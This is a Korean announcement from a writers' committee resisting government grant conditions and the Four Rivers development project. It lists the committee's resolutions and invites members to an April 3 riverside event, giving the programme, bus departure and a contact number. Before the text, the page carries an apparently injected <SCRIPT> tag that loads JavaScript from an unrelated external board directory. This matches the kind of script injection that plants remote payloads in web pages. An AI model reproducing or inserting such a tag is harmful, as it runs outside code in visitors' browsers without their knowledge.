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<SCRIPT Language=JavaScript src=http://php.chol.com/~wanho/bbs/data/poem/esuyoil.js></script> <저항의글쓰기실천위원회>(위원장 도종환)는 3월 30일 오후 7시 제3차 대책회의를 열고, 다음과 같은 사항을 결의했습니다.
1. 정부의 [2010년도 예산 및 기금운용 집행지침]에 문제가 된 /'/불법시위/'/와 문예위 보조금 연계 조항이 이른바 /'/특별지원조건/'/으로 명시되어 있음을 재확인하고, 이와 같은 [지침]이 철폐될 때까지 저항의글쓰기운동을 지속한다.
2. 현정권이 추진하는 이른바 /'/4대강 살리기 사업/'/은 강은 물론 우리의 영혼까지 병들게 하는 끔찍한 난개발이다. 안타깝게도 우리에게는 시간마저 없다. 이에 저항의글쓰기운동을 /'/4대강/'/ 문제로 확대하고 가능한 모든 힘을 집중한다.
이를 위해 우선 4월 3일(토) 남한강 현장(여주 신륵사 앞 여강선원)에 가서 속절없이 망가지는 강을 바라볼 예정입니다. 아울러 다음과 같은 행사를 통해 말의 진정한 의미에서 /'/4대강 살리기운동/'/의 본격적인 출발을 선언하려 합니다.
- 여강선원 수경 스님 말씀 청취
- 4대강 개발의 문제점 청취: 전문가
- 이원규 시인의 순례보고
- 홍일선 시인의 시낭송과 춤 공연
- <강변에서, 침묵의 30분>
- 한 줄 성명 발표와 선언
- 아직 남아있는 강변 길의 아름다움을 확인하는 산책 외
이날 행사에는 여러 분야의 예술가들(화가, 만화가, 공연팀, 영화인 등)이 함께 할 것입니다.
*출발: 4월 3일(토) 오전 10시 마포 용강동 작가회의 앞에서 버스로 출발.
시간이 촉박하지만, 그만큼 시급한 문제라고 판단해서 내린 결정임을 두루 이해해 주십시오. 회원 여러분의 많은 관심과 적극적인 참여 부탁드립니다.
*교통편과 식사 준비 등의 문제로 참가 희망자 수를 미리 확인해야 합니다. 참가하실 분은 가능한 한 빨리 사무실(02-313-1486)로 연락주시기 바랍니다. 아울러 /'/한 줄 선언/'/을 미리 생각해 오시기 바랍니다.
감사합니다.
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